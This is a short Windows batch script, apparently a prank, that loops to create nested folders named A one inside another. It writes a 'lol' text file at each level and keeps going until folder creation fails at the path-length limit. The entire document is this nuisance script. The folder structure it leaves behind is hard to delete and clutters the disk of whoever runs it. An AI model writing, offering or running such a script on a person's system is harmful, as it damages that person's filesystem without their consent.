@echo off :loop mkdir A if ERRORLEVEL 1 goto end echo "lol" > b.txt cd A cd goto loop :end